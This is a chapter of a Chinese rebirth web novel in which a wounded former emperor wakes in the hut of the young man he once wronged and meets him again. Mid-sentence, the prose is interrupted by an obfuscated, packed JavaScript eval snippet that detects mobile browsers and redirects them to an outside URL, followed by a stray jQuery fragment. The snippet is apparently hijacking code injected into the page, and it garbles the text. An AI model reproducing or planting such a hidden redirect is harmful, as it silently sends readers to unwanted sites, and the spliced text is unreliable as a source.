景谡的意识沉沦于痛楚与无边黑暗中,恍若在炼狱火海中、无尽焚烧着他的孽业。
然后,一切感知骤然抽离。
不知过了多久,或许是一瞬,又或许是数十载,一股强烈的、几乎要炸裂开的头痛猛地将他拽了回来。
紧随其后的是,身体各处传来尖锐的疼痛,右臂的灼痛撕扯着他的血肉,左侧肋骨处更是带着刺骨的酸痛,肋骨断裂,每一呼吸都牵扯着伤处。
他已经许久未曾受过这么重的伤。
自登基之后,万民跪伏,刀兵入库。即便是早年征战沙场,重伤之际,他也未曾像这般动弹不得,只得生生忍受着钝痛。
对了,他已经服毒自尽,穿肠腐肚的疼痛竟不及此刻灼烧着血肉的疼痛。
所以,这里是无间炼狱?
……合该如此。
他那样对待段令闻,折辱他的真心,漠视他的痛苦,将他囚于别院,最终逼得他饮鸩自尽,最后还掘开他的坟茔,扰了他的安宁,做出那等癫狂悖逆之事……
如此罪业,合该堕入无间炼狱,受尽世间万般苦楚。
只不过,在他死后,那个新始的昭朝又该走向何方?
朝中不乏有忠勇刚正之臣,可未必能压住那些骄兵悍将和新附的世家大族。他尚未立储,身后无人……他亲手打下的太平基业,是否会因他的骤然驾崩而迅速分崩离析?战火是否会重燃?百姓又是否再陷涂炭?
作为帝王,他无疑是失败而荒唐的。
可即便再来一次,他仍会舍弃江山,去殉一段枯骨。
又或许,若能再来一回……
忽然间,一阵清脆的鸟啼似穿透浓雾,清晰地钻入耳中,还有……断断续续、若有若无的咳嗽声。
一束光,刺破黑暗。
景谡凝聚着气力,艰难地抬起沉重的双眼,可短暂的清醒瞬间被疲惫和钝痛吞没,他无力地阖上眼,而后再度陷入了一片混沌的黑暗。
耳边的鸟鸣和咳嗽声变得遥远而模糊。
“闻闻啊……”一道苍老的叹息传入而耳中。
闻闻。
段令闻幼年父母双亡,他的父亲不堪徭役苦楚,死在归家的途中。母亲从他出生起便被人指指点点,只因段令闻天生异瞳,被传是妖邪转世。得知夫君逝世后,没了夫家倚仗,不久也含怨而终。
在他短暂的一生中,只有两人曾唤他“闻闻”。
其中一人是景谡,而另一人便是段令闻的爷爷。
听到熟悉的名字,景谡再次抬起眼帘,眼前模糊的视线艰难地聚焦,待光线彻底穿透黑暗,映入眼帘的是低矮的房梁和屋顶的茅草。
一间破败的茅草屋。
就在这时,一个佝偻的身影颤巍巍地挪到床边。
景谡艰难地侧首望去,那是一位满面皱纹、气色灰败的老人,他穿着打满补丁的粗布衣服,呼吸极其粗重,应是身患重病。
只愣了片刻,景谡便将人认了出来。
段令闻的爷爷,可他的爷爷早在十二年前病逝了。
见他已经醒来,老人脸上似浮起一丝笑意,他又缓慢地挪移到一旁,将一个边缘有缺口的粗陶碗拿了过来,小心地放在床边一个充当桌子的树墩上
“你醒了啊……”老人说着,又忍不住侧过头低声咳嗽起来,好一会儿才缓过气,“把这碗粥喝了吧……家里没什么可以招待的。”
景谡怔怔地看着老人,目光游移在这一间小小的茅草屋中,怔忪之间,身体各处的伤痛清晰地传来。
这是……只有清醒地活着才能感受到的伤痛。
他、他真的回来了?!
上苍竟真的……给了他重活一世的机会?!
尘封的记忆猛地撞入脑海,大虞二百五十一年,叔父在曲阿县起兵,因而,景谡也遭到了虞朝官兵追捕,身受重伤逃至吴县境内,不慎坠落山崖,沿江飘零,恰巧被段令闻所救。
段家村……段家村!
段令闻!
此时,一股难以置信的狂喜几乎震碎了他的灵魂,他的心脏疯狂地擂动,像是要冲出胸膛,去寻那个朝夕暮想之人。
闻闻……
他的闻闻是不是还活着!
景谡猛地张开嘴,喉咙却干涩发紧,仅仅一个气音出口。
“呃——!”
重伤的身体,稍一用力便撕扯着伤口,他猛地抽了一口冷气,眉头骤然紧锁,未出口的话语都被碾碎在喉间。
老人见此,便担忧地说了一句:“你这一身的伤,可乱动不得。”
说罢,便轻声咳嗽了起来。他将那一碗稀粥推至景谡身旁,微叹道:“你刚醒,喝点粥吧。”
景谡想张口询问段令闻的下落,可喉咙却干哑至极,一个字都发不出声音来。
他用没受伤的手肘撑起身体,强行坐了起来,目光这才落在一旁的那碗稀粥上。
说是粥,实际上是清得几乎能照见人影的水,只有底部沉着寥寥数粒米。
景谡用尽力气,才从齿缝间挤出嘶哑不堪的两个字:“多……谢……”
他没有动那碗粥。乱世之下,即便是这样的米水,也极为珍贵。
他的目光急切地扫过这间狭小破败的茅屋,贪婪地捕捉任何可能与段令闻有关的痕迹,他的心跳越发剧烈,更是恨不得立即起身往外走去。
老人缓声道:“公子你莫怕,这里是段家村,前几日,我那孙儿路过江边,见你晕倒在岸旁,还有一口气儿……就给背了回来……”
“还没请问,公子怎么称呼?”老人又问。
段令闻的爷爷早年也是读过一些书的,还曾经在私塾教过书,只不过,年轻时候得罪了一些人,才不得已举家搬迁至段家村,至此,成为了一户佃农,为地主开荒耕种。
他也不再提教书之事,但在段令闻的父母死后,老人年纪大了,那些地主不断地压榨着工钱,为了维持生计,老人便再度提笔替人写写书信。
景谡神色微忖。上一世,他刻意隐瞒自己的姓氏,化名为江谡,是因为官府在悬赏捉拿景氏之人,虽然段令闻救了他,可他对其并非完全信任。
重活一世,他并不想再有所欺瞒,可此时的他,顾虑的不是段令闻祖孙二人会不会向官府告密,而是自己不想连累二人,更怕段令闻知道他是官府的“通缉犯”而远离他。
就在他思忖之间,门外传来一阵细密的脚步声。
景谡抬眸看去,他的心脏骤然停跳了一拍,只见一个清瘦的身影大步走了进来,逆着门外傍晚昏黄的光线,轮廓显得有些模糊。
这一刻,万籁俱寂,时光逆流。
段令闻,闻闻……
他的整个世界,只剩下这一个名字,这一个人。
所有的思绪,身体上的伤痛,在看清那个逆光身影的瞬间,骤然消失得无影无踪。
他的瞳孔中只映出一个人,耳中只听见那逐渐清晰的脚步声,一步一步走了进来。
不再是冰冷沉寂的枯骨,也不再是午夜梦回时抓不住的虚影。
一股蛮横的力量不知从何涌起,瞬间压过了撕心裂肺的剧痛。景谡几乎是无意识地、凭借着一种近乎本能的驱使,猛地用手撑起身体,踉跄着站了起来。
“呃啊——!”
身体各处传来的尖锐疼痛,瞬间模糊了他的意识,眼前猛地一黑,一股甜腥翻涌着冲上喉咙。
他根本站不稳。
天旋地转间,他沉重的身体不受控制地向前扑去。
“砰!”
一声闷响,景谡双膝失力,重重地跪倒在地,重伤狼狈地跪倒在段令闻身前。
尘土被微微扬起,在昏黄的光影中浮动。
时间仿佛在这一刻凝固了。
段令闻显然被这突如其来的变故惊住了,脚步顿在原地,诧异地看向他。而后,他缓缓弯腰,伸出手想要扶起这个人。
景谡缓缓抬眸,他的呼吸屏住,跨越山海般,目光紧紧地看着眼前之人。他的左眼被碎发遮住,要刻意去看,才能发现那金色的瞳孔。
段令闻的手碰到他的胳膊,正欲将他扶起,可忽然间,景谡的身体直直地朝他倾来。明明他的身体看起来重伤无力,可那双手却犹如铁臂般将他箍得极紧。
段令闻彻底僵住了,他被这样一个男子不管不顾地全力抱住,冲击力让他踉跄了一下,差点一同摔倒。
“闻闻。”
老人的话让段令闻猛地回过神来,脸上闪过一丝慌乱与窘迫,他一时心善将人从江边救起,怎么这人如此……轻浮!
“爷爷,他……”段令闻本想直接推开他,他的力气本就比寻常人更大,推开一个重伤的人轻而易举。可还没等他有所动作,这人便因失血晕了过去。
而那双手却仍紧箍着他。
他只得将人扶回竹床上,这才发现,这人身上的伤口崩开了,鲜血直涌,而自己的衣衫也沾了他的血迹。
段令闻退开了几步,他无措地看向爷爷,刚才这个人看他的眼神……那种强烈的情感,让他竟觉得有些害怕。
县里那个地主老爷也会直勾勾地看着他,可那种眼神黏腻浑浊,让人浑身不舒服。
老人看了眼竹床上的人,又瞥了一眼墙角,那是用粗布包裹起来的长条物什,是段令闻将人背回来时,一同带回来的东西。
更确切来说,那是一柄长剑。
老人低垂的目光几不可察地闪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372488|183995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烁了一下,“闻闻,先帮人止血吧。”
段令闻抿了抿唇,终究还是取来了干净的布条和前几日采的止血草药。他动作利落地解开景谡染血的布条,露出底下狰狞的伤口。箭伤、剑伤交错,新伤叠着旧疤,触目惊心。
昏睡中的人眉头紧锁,薄唇无声地翕动,像是在唤着什么。
“……闻。”
极轻的一个气音,却让段令闻动作一顿。
日薄西山。
段令闻替他处理好伤口后,便准备着晚饭,晚上吃得很简单,就着中午煮的粥水,还有几个新烙的饼,凑合勉强吃了个半饱。
吃完晚饭,段令闻便向爷爷提起,这几天那地主老爷要几户佃农去山上采茶,他已经应下,回来的时候会稍晚了些。
老人沉默了片刻,他知道那地主老爷打着什么主意,已至天命之人,府中纳的小妾却还一个接一个,曾经还暗示过,想用十两银子买下段令闻。
双儿为奴,再平常不过了。
若非他就这么一个孙儿,若非他识得些字,这村里的人对他还有几分敬重,不然……这由不得他们点不点头了。
段令闻也很厌恶那地主老爷的靠近,他每一靠近,便有一股很浓重的臭味袭来。
可是,爷爷的病需要药,家里已经没有多余的钱买药了。
这次去北郊的山上采茶,工钱比平日多一倍有余。
老人轻叹了一声,他自知已经时日无多了,在这乱世之中,只剩他一人,可如何是好啊……
“爷爷,我会早些回来的……”段令闻又小声补充道。
老人拍了拍他的手,却没再说话。
夜深了一些。
段令闻用茅草在地上铺了个简陋的床,又看了一眼竹床上的人,见他没醒,随即便躺了下来。
这几天,他都这样入睡,因每日忙活,睡意来得极快。
可不知过了多久,段令闻似乎感觉一道目光在紧紧地看着他,他猛地睁开了眼睛。
昏黄的残烛下,只见一道身影倚在床上,那双眼睛就这么看了过来。
段令闻神色一惊,心脏差点停了一瞬,说起话来还有些磕巴:“你……你醒了?”
他有些后悔救这个人了。
这世道混乱,常有马贼四处劫掠,甚至杀人灭口。见他衣着不凡,段令闻便以为,他也是受那些马贼所害,所以才将人带了回去。
可傍晚时,他看自己的眼神,还有此时……都让段令闻感到莫名的心慌。
“我……吓到你了?”景谡的声音很轻,甚至说得上温柔。他紧攥着掌心,才让自己克制住不将人搂入怀中。
上一世养伤的这段日子,他睡多醒少,并没有在意段令闻夜里在何处歇息。
此时的他,身体虽然很疲惫,可他的眼睛却不舍得从段令闻的身上移走半寸。
他想将人抱入怀中,可现在的段令闻,与他并不相识。
他的每一寸靠近,对段令闻来说,都是一种冒犯。
“没有……”段令闻轻轻摇头。
可景谡的手只稍微动了一下,段令闻的身形便骤然僵了一瞬。
景谡缓缓蜷起手指,他轻声道:“我叫……江谡,还没请问,恩人尊姓大名。”
‘景’字千斤重,此刻,他只能是江谡。再给他一点时间,他会向段令闻坦白自己的身份。
段令闻怔了怔,对他口中的‘恩人’二字还有些不好意思,“我叫,段令闻。”
“令闻……”景谡垂下眼帘,又低声呢喃了一声:“闻闻。”
耳尖的段令闻还是听见了,这么多年,只有爷爷会唤他“闻闻”,可他只能假装没听见。
景谡又问道:“我可以唤你闻闻吗?”
从前,只有在床榻上,他才会唤段令闻为“闻闻”,随即,他满意地看着身下的人耳廓通红,甚至于,身体也越发动情……
段令闻怔了又怔,这个人着实奇怪,好似自己与他相识一般。他别开了脸,支支吾吾地转移了话题:“……你应该饿了吧,晚上留了半个饼,我给你拿。”
说罢,他便起身,忙不迭的去小屋拿饼,又煮了一壶热水。
半晌过后,他将饼和水放在床榻旁,低声道:“家里只有这些了,你将就些。”
景谡没有去看那半张饼,目光依旧胶着在段令闻身上,那双眼眸里情绪翻涌,最终化为一种近乎贪婪的温柔。
“多谢。”他的声音依旧嘶哑。
段令闻摇摇头,站在离床榻几步远的地方,没有靠近,“明日我要去北山采茶,会很晚才回来。”
说罢,便回到地铺处睡下。
这时辰不早了,他明日还得早些起来呢。